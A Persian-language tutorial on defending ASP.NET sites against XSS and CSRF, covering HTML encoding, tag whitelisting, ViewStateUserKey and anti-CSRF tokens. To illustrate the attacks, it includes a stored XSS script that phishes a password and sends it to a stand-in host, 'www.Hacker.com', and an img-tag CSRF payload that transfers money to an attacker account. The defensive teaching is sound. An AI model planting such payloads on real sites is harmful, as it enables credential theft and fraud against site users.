محتویات سایت
        برچسب های محبوب 








 
   راهکار های جلو گیری و دفاع در مقابل حملاتی از نوع XSS در برنامه های تحت وب
  در این مقاله به معرفی تعدادی از شایع ترین حملات از نوع XSS و نحوه مقاوم سازی وب سایت در مقابل اینگونه از حملات می پردازم.
   ASP.NET
   ۲۷۰۱۶
   این مقاله حاوی فایل ضمیمه نمی باشد
   مرتضی صحراگرد
   ۱۳۸۸/۱۲/۱۴
نسخه قابل چاپ نسخه قابل چاپ

مقدمه:

در تاریخچه تکامل وب، همواره وب سایت ها مورد هجوم حملاتی از انواع مختلف بوده اند. از جمله این حملات می توان به موارد زیر اشاره نمود:

  1.  اختلال در سرویس (DOS)

  2. حملاتی از نوع SQL Injection

  3. حملاتی از نوع XSS یا در حقیقت Cross-Site Scripting

حملاتی از نوع دو نمونه اول دارای سابقه طولانی می باشند. در مورد حملاتی از نوع DOS، با اینکه می توان تمهیداتی در برنامه جهت مقابله با اینگونه حملات اندیشید، ولی عوامل سخت افزاری نیز در این زمینه نقش مهمی ایفا می کنند.

در مورد حملاتی از نوع  SQL Injection باید گفت که عمر اینگونه حملات به پایان رسیده است. در صورتی که برنامه نویس وب از استاندارد های برنامه نویسی جهت اتصال و اجرای فرامین SQL روی دیتابیس استفاده نماید، امکان صدمه دیدن در مقابل اینگونه حملات را تقریبا به صفر می رساند. (وب سایت هایی که هنوز در مقابل اینگونه از حملات آسیب پذیر هستند باید یک تجدید نظر اساسی نمایند)

اما حملاتی از نوع XSS در چند ساله ی اخیر رشد و تکامل پیدا نموده اند. با توجه به اینکه اینگونه حملات نسبتا جدید می باشند، نیاز به اطلاع رسانی در مورد آن وجود دارد و در این مقاله ما به معرفی برخی از انواع حملات و روش مقابله با آن می پردازیم.

تذکر:

جهت سادگی فراگیری مطالب برای افرادی که آشنایی چندانی با این مقوله ندارند، مثال ها به ساده ترین شکل ممکن ارائه شده اند. ولی روش های دفاع در مقابل حملاتی که در این مقاله ذکر شده اند، در مقابل پیشرفته ترین حملات نیز کارا و مقاوم می باشند.

شروع:

حملات XSS معمولا با تزریق مقداری از کدهای HTML و JavaScript شروع می شود. با توجه به اینکه در چند ساله ی اخیر رویکرد برنامه های تحت وب به سمت وب 2 و استفاده از انواع و اقسام تکنیک های Ajax بوده است، لذا می توان تقریبا مطمئن بود که مرورگر یک کاربر کدهای جاوا اسکریپت را اجرا می نماید و با تزریق نمودن مقداری از کدهای مخرب در صفحه می توان امنیت اطلاعات کاربر را تهدید نمود.

اولین نکته برای جلوگیری از حملات XSS، اعتبار سنجی داده هایی می باشد که از طرف کاربر دریافت می شود.

به مثال زیر توجه نمایید. فرض کنید که شما در حال نوشتن یک ماژول دفتر میهمان (Guestbook) می باشید. کاربران ابتدا باید در سایت لاگین کنند و سپس با ورود به این صفحه می توانند یک یادداشت ایجاد کنند.

فرم اطلاعات کاربر می تواند مشابه شکل زیر باشد.

پس از اینکه کاربر یادداشت خود را وارد نمود، شما متن مورد نظر را در دیتابیس ذخیره نموده و در پایین صفحه همراه با یادداشت های سایر کاربران نمایش می دهید.

تذکر:

به طور پیشفرض ASP.NET اجازه وارد نمودن تگ های HTML (شامل کاراکتر های "<" و ">") را به کاربر نمی دهد و در صورتی که این کاراکترها وارد شوند، هنگام انجام عملیات PostBack خطای زیر ایجاد می شود.

A potentially dangerous Request.Form value was detected from the client

ولی در بسیاری موارد نیاز می شود که اجازه وارد نمودن این گونه عبارات نیز داده شود. برای اینکه کاربر بتواند اینگونه عبارات را وارد نماید باید به قسمت Directive صفحه رفته و صفت ValidateRequest را false نمایید.

در قسمت زیر یک مثال در این مورد را ملاحظه می نمایید.

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="Default.aspx.cs" Inherits="_Default" ValidateRequest="false" %>
 

حال فرض کنید که کابر به جای وارد نمودن یک یادداشت معمولی، قطعه کد زیر را وارد نماید.

<script>
    var password=prompt('Your Session has expired.Please re-enter your password. Thank you','');
    location.href='http://www.Hacker.com/Attack.aspx?pwd='+password
</script>

همانطور که می توانید حدس بزنید این اسکریپت همانند یک یادداشت معمولی در دیتابیس ذخیره می شود و هنگام نمایش صفحه یک دیالوگ به شکل زیر به کاربران نمایش می دهد.

کاربرانی که این صفحه را ملاحظه می کنند با توجه به اینکه در وب سایت مورد اطمینان خود هستند، ممکن است فریب این ترفند ساده را بخورند و رمز عبور خود را در دیالوگ وارد نمایند. سپس اطلاعات به وب سایت www.Hacker.com ارسال می شود و بدین شکل به راحت ترین شکل ممکن رمز عبور افرادی که از این صفحه بازدید می کنند، دزدیده می شود.

توجه داشته باشید که همیشه داستان بدین گونه نیست که حتما کاربر دیالوگی را ملاحظه نماید. گاهی اوقات این اسکریپت فقط کاربر را به یک صفحه مخرب هدایت می نماید و در آنجا می توان انواع حملاتی از قبلی CSRF (در ادامه مقاله در مورد اینگونه حملات نیز بحث خواهد شد) را انجام داد.

همانطور که در ابتدای مقاله ذکر شده است، در این مقاله سعی شده است از ساده ترین مثال ها جهت فراگیری مطالب استفاده شود و شما با کمی تامل می توانید مثال بالا را در موارد مختلف تعمیم دهید.

مشکل: اعتبار سنجی داده های ورودی کاربر:

هر هنگامی که نیاز است کاربر اطلاعاتی را در فرم ها وارد نماید، حتما باید اطلاعات مورد بررسی قرار گیرند. به طور مثال هنگامی که قرار است یک ایمیل یا آدرس وب سایت تا تاریخ و .... وارد شود، حتما با استفاده از کنترل های مربوط به اعتبار سنجی (Validation Controls) این اطلاعات را بررسی نمایید و از صحت اطلاعات مطمئن گردید.

در صورتی که نیاز است متن ورودی کاربر را در دیتابیس ذخیره نمایید، حتما باید قبل از انجام هر کاری اطلاعات را Encode نمایید. کلاس HttpUtility دارای متدهای جالبی برای انجام این کار می باشد. به طور مثال می توان با اجرای دستور HtmlEncode یک متن HTML را می توان Encode نمود.

string encodedText = HttpUtility.HtmlEncode(TextBox1.Text);

با استفاده از دستور بالا تگ های خطرناک "<" و ">" به دستورات معادل خود در HTML تبدیل می شوند که فقط قابلیت نمایش دارند و قابلیت اجرای دستور را ندارند. به طور مثال عبارت <script> به عبارت &lt;script&gt; تبدیل می شود که صرفا قابلیت نمایش دارد و نمی تواند به عنوان یک دستور اجرا شود.

لازم به ذکر می باشد که در صورتی که نیاز داشته باشید عکس این عمل را انجام دهید یعنی متن مورد نظر را از حالت نمایشی به متن اصلی خود تبدیل نمایید می توانید از متد HtmlDecode استفاده نمایید.

string decodedText = HttpUtility.HtmlDecode(encodedText);

مشکل: اجازه ورود برخی تگ های HTML مجاز:

در روش قبل تمام کارکتر های ویژه، تبدیل به معادل های خود می شوند. اما گاهی نیاز است که به کاربر اجازه وارد نمودن برخی تگ های مجاز را بدهیم. به طور مثال ممکن است برای زیبا سازی متن ورودی کاربر، اجاز استفاده از تگ هایی مانند <b> که باعث بولد شده متن می شود را بدهیم و در عین حال باید سایر تگ های غیر مجاز را حذف نماییم.

برای انجام این کار باید ابتدا کل متن مورد نظر را Encode نموده و سپس کاراکتر های مجاز را با معادل نمایشی آن جایگزین نمود.

در متد زیر یک پیاده سازی برای انجام این کار را ملاحظه می نمایید.

public string Encode(string input)

{

    // Define a (white) list of allowed tags.

    string[] allowedTags = new string[] { "<b>", "</b>" };

    string[] encodedTags = new string[] { "&lt;b&gt;", "&lt;/b&gt;"};

 

    // First, encode the whole string.

    string encodedString = HttpUtility.HtmlEncode(input);

 

    // Selectively decode allowed tags.

    for (int i = 0; i < allowedTags.Length; i++)

    {

        encodedString = encodedString.Replace(encodedTags[i], allowedTags[i]);

    }

 

    return encodedString;

}

عملکرد متد بالا کاملا واضح می باشد.

نکته بسیار مهم:

شما باید هر گونه اطلاعاتی را که یک کاربر بدخواه می تواند دخل و تصرفی در آن ایجاد کند را اعتبار سنجی کنید. به عنوان مثال یک کاربر بدخواه می تواند با تغییر اطلاعات یک کوکی (Cookie) و جایگزین نمودن یک اسکریپت خطرناک به سایت شما حمله نماید. بنابراین هنگام نوشتن و خواندن از یک کوکی نیز باید اعتبار سنجی لازم و Encoding مورد نیاز انجام شود.

کنترل بخش Header درخواست ها:

به طور پیشفرض ASP.NET بخش Header مربوط به درخواست هایی که برای وب سایت ارسال می شوند را اعتبارسنجی نمی نماید و یک کاربر بدخواه می تواند اطلاعات مورد نظر خود را در قسمت Header درخواست (HttpRequest) خود قرار دهد. به طور معمول این موضوع مشکلی را برای وب سایت به وجود نمی آورد ولی اگر شما قصد دارید از اطلاعات موجود در Header درخواست ها استفاده نمایید (به طور مثال جهت log نمودن اطلاعات نوع مرورگر، Agent و غیره)، حتما اطلاعات موجود را اعتبارسنجی و Encode نمایید.

ViewState Replay Protection:

همانطور که مستحضر می باشید، ViewState جهت نگهداری حالت کنترل ها و تبادل طلاعات بین کلاینت و سرور استفاده می شود. یکی از ویژگی های ViewState این است که دارای تاریخ انقضا نمی باشد. حال بررسی می کنیم که چگونه این خصوصیت می تواند مورد استفاده یک کاربر بدخواه گردد.

فرض کنید شما به عنوان یک کاربر شناخته شده به سایت لاگین نموده اید. ضمنا یک کاربر بدخواه اسکریپتی به صفحه تزریق نموده است که کل اطلاعات Form را برای او ارسال می نماید. (و یا به هر نحوی و شکلی می تواند برای چند لحظه به اطلاعات فرم شما که شامل ViewState می باشد نیز دسترسی داشته باشد)

با توجه به اینکه ViewState دارای تاریخ انقضاء نمی باشد، کاربر بدخواه می تواند در آینده با حساب خود در سایت لاگین نماید ولی با استفاده از ابزارهایی، ViewState شما را جایگزین ViewState خود نماید و متاسفانه ASP.NET متوجه تفاوت بین این دو نخواهد شد و بنابراین می تواند از اطلاعات موجود در ViewState مربوط به شما استفاده نماید.

مشکل: ایجاد ViewState منحصر به فرد برای هر کاربر:

صفتی به نام ViewStateUserKey در کلاس Page وجود دارد که دقیقا برای انجام اینکار ایجاد شده است. اکنون قصد داریم که از نام کاربری شخصی که در اکنون در سیستم لاگین نموده است به عنوان یک کلید جهت استفاده نمودن در رمزنگاری ViewStae استفاده نماییم(در حقیقت به عنوان Salt Key).

باید کلاسی ایجاد نماییم که این قابلیت را فعال نموده است و سپس صفحات وب سایت ما باید از این کلاس به ارث بروند.

به قطعه کد زیر توجه نمایید.

public class ViewStateUserKeyBasePage : Page

{

    protected override void OnInit(EventArgs e)

    {

        if (Request.IsAuthenticated)

        {

            ViewStateUserKey = Context.User.Identity.Name;

        }

 

        base.OnInit(e);

    }

}

همانطور که ملاحظه می نمایید در رویداد OnInit صفحه ابتدا چک شده است که کاربر لاگین نموده است یا خیر. و در صورتی که لاگین نموده باشد، مقدار نام کاریری او را به صفت ViewStateUserKey نسبت داده ایم و بنابر این از این کلید جهت رمزنگاری ViewState استفاده می شود.

در صورتی که این امکان برای شما مهیا نیست که یک کلاس جدید ایجاد نمایید و اعمال بالا را انجام دهید، می توانید از روش جایگزین زیر استفاده نمایید.

می توانید در رویداد Application_PreRequestHandlerExecute در فایل Global.asax (یا یک HttpModule در صورت تمایل) قطعه کد زیر را وارد نمایید.

protected void Application_PreRequestHandlerExecute(object sender, EventArgs e)

{

    HttpContext ctx = HttpContext.Current;

 

    if (ctx.Request.IsAuthenticated)

    {

        Page p = ctx.Handler as Page;

 

        // Make sure this is a page.

        if (p != null)

        {

            p.ViewStateUserKey = ctx.User.Identity.Name;

        }

    }

}

اکنون اگر حتی ViewState مربوط به صفحه دزیده شود فقط زمانی قابل استفاده خواهد بود که کاربر با نام کاربری و رمز عبور اصلی در سایت لاگین نماید و در غیر اینصورت قابل استفاده نخواهد بود.

معرفی حملاتی از نوع Cross-Site Request Forgery:

این نوع حملات از نوع خطرناک ترین حملات XSS می باشند و به نام CSRF و see surf نیز شناخته می شود. در اینگونه حملات معمولا یک مهاجم از کاربری که در یک وب سایت لاگین نموده است استفاده می نماید و درخواست های مخرب خود را از طریق این کاربر ارسال می کند در حالیکه روح کاربر نیز از انجام این عمل بی خبر است.

قبل از اینکه به معرفی خود حمله بپردازیم، بهتر است کمی مقدمات را یادآوری نماییم.

هنگامی که یک مرورگر در حال در یافت اطلاعات یک صفحه از سرور می باشد وقتی به یک تگ Image (یا همان img) می رسد، یک درخواست از نوع Get به آدرس تصویر که در صفت src قرار دارد ارسال می کند. این نوع درخواست همانند یک درخواست معمولی ارسال می شود یعنی اگر شما به جای آدرس یک تصویر، آدرس یک صفحه را وارد نمایید، یک درخواست از نوع GET به صفحه ارسال می شود و رویداد های معمول صفحه از قبیل Load ، PreInit و ... اجرا می شوند.

این موضوع می تواند مورد استفاده تولید تصاویر به صورت داینامیک قرار گیرد. به طور مثال برای تولید Captcha می توان از این تکنیک استفاده نمود.

حملات CSRF معمولا با قرار دادن یک تگ img در صفحه انجام می شوند.

اکنون یک سناریوی بسیار ساده جهت تشریح نوع حمله مطرح خواهیم نمود.

فرض کنید شما صفحه ای به نام TransferMoney.aspx در وب سایت خود دارید. در رویداد Load این صفحه 2 پارامتر را از طریق QueryString صفحه دریافت می کنید که شامل مبلغی که باید انتقال داده شود و شخصی که باید مبلغ مورد نظر به حساب او واریز شود، می باشد. در ضمن قبل از انجام هر عملی، عمل احراز هویت و بررسی دسترسی کاربر به این صفحه انجام خواهد شد.

برای درک بهتر مسئله به قطعه کد زیر توجه فرمایید.

protected void Page_Load(object sender, EventArgs e)

{

    if (!IsAuthenticated || !IsAuthorized)

    {

        // Access Denied!

        return;

    }

    int money =Convert.ToInt32(Request.QueryString["money"]);

    string targetPerson=Request.QueryString["target"]

 

    //....

    //....

    //Trnsfer money to target person

 

 

}

همانگونه که ملاحظه می نمایید، ابتدا کنترل می شود که کاربر مجاز بوده و حق دسترسی به این صفحه را داشته باشد و سپس عمل انتقال وجه انجام می شود.

به عقیده شما چه مشکلی این صفحه تهدید می کند؟ و شخص مهاجم چگونه می تواند این صفحه را مورد تهاجم قرار دهد.

کافی است شخص مهاجم شما را به یک صفحه که حاوی قطع کد زیر می باشد، هدایت کند. (یا اینکه قسمت مورد نظر خود را به شکلی به صفحه ای از وب سایت شما تزریق نماید).

 <img src="TransferMoney.aspx?money=5000&target=HackerAccount" alt="" />

همانطور که ملاحظه می نمایید در حالیکه کاربر منتظر لود شدن تصویر می باشد، یک درخواست از نوع GET به صفحه TransferMoney.aspx ارسال شده است. کاربر هم که در حال حاضر در سایت لاگین نموده و در نتیجه متد Load صفحه TransferMoney.aspx اجرا شده و مبلغ مورد نظر به راحتی به حساب مهاجم واریز می شود.

در صورتی که کاملا متوجه آسیب پذیری صفحه ی مورد نظر نشده اید، لطفا قبل از مطالعه ادامه مقاله، به قسمت قبل باز گشته و مجددا مطالب را مرور نمایید.

نکات مهم جهت مقابله با اینگونه حملات:

  • برای مقابله با اینگونه حملات باید ابتدا اطمینان حاصل کنید که در خواست هایی که به صفحه  TransferMoney.aspx ارسال می شوند از نوع POST باشند و نه از نوع GET.

  • هرگز در رویداد Load صفحه، قطعه کدهای حساس خود وارد ننمایید. ولی با توجه مطالبی که در ادامه بیان خواهیم نمود، در داخل شرط IsPostBack جای مناسبی برای انجام این کار می باشد.

  • همیشه در صورت نیاز از دستور Request.Form جهت دریافت اطلاعات مربوط به HiddenField ها استفاده نمایید و هرگز از دستور Request به شکل خام استفاده نکنید. به مثال زیر توجه فرمایید.

Request.Form["myField"] ==> use it

Request["myField"] ==> Do not use it

دلیل این موضوع این است که هنگامی که از دستور Request.Form استفاده می کنید، فقط فیلد های Post مورد بررسی و جستجو قرار می گیرند و هنگامی که از دستور Request استفاده می شود، هر دوی فیلدهای POST و GET مورد جستجو قرار می گیرند.

نکته:

تا کنون ما صفحه وب سایت خود را در مقابل درخواست های GET مقاوم نموده ایم ولی با استفاده از برخی ترفندها و تکنیک های جاوا اسکریپت و AJAX می توان درخواست هایی از نوع POST نیز به صفحات دیگر ارسال نمود. در نتیجه باید از این بابت نیز مطمئن شویم که در خواست POST از صفحه ی جاری ارسال شده است و نه از صفحات دیگر.

برای رفع این مشکل نیز باید چاره ای بیندیشیم. به قطعه کد زیر توجه فرمایید.

protected void Page_Load(object sender, EventArgs e)

{

    if (!Page.IsPostBack)

    {

        ViewState["token"] =Guid.NewGuid().ToString();

        this.HiddenField1.Value = ViewState["token"].ToString();

    }

    else

    {

        if (((Request.Form["HiddenField1"] != null) && (ViewState["token"] != null)) &&

        (Request.Form["HiddenField1"].ToString().Equals(ViewState["token"].ToString()))

        )

        {

            // Valid Page

            Response.Write("Safe Access");

        }

        else

        {

            Response.Write("UnSafe Access");

        }

    }

}

قطعه کد بالا از دو قسمت مهم تشکیل شده است. قسمت اول زمانی اجرا می شود که صفحه برای اولین بار لود می شود و در حقیقت در حال PostBack نیست. این قسمت را در زیر ملاحظه می کنید.

if (!Page.IsPostBack)

{

    ViewState["token"] = Guid.NewGuid().ToString();

    this.HiddenField1.Value = ViewState["token"].ToString();

}

عملی که در این قطعه کد انجام می شود این است که یک شناسه GUID جدید تولید می شود و در ViewState قرار می دهیم و ضمنا همان شناسه را داخل یک HiddenFiled نیز نگهداری می کنیم.

قسمت دوم مهم قطعه کد را در زیر ملاحظه می نمایید. این قسمت زمانی اجرا می شود که صفحه در حال PostBack می باشد.

else

{

    if (((Request.Form["HiddenField1"] != null) && (ViewState["token"] != null)) &&

    (Request.Form["HiddenField1"].ToString().Equals(ViewState["token"].ToString()))

    )

    {

        // Valid Page

        Response.Write("Safe Access");

    }

    else

    {

       

        // InValid Page

        Response.Write("UnSafe Access");

    }

}

در این جا دو شرط مهم چک می شود. اولا درخواست از نوع POST باشد و ثانیا مقدار موجود در HiddenFiled برابر مقدار موجود در ViewState باشد (برای اینکه مطمئن باشیم درخواست POST از همین صفحه ارسال شده است)

با استفاده از تکنیک هایی که در این مقاله ذکر شده اند، به میزان زیادی می توانید آسیب پذیری وب سایت خود را در مقابل حملات XSS پایین بیاورید.

ضمنا آقای وحید نصیری نیز مطلب جالبی در مورد Anti CSRF module for ASP.NET دارند که مطالعه آن پیشنهاد می شود.

منابع:

        30sharp.com

        Developing More-Secure Microsoft® ASP.NET 2.0 Applications

        Professional ASP.NET 3.5 Security, Membership, and Role Management with C# and VB

برچسب های مرتبط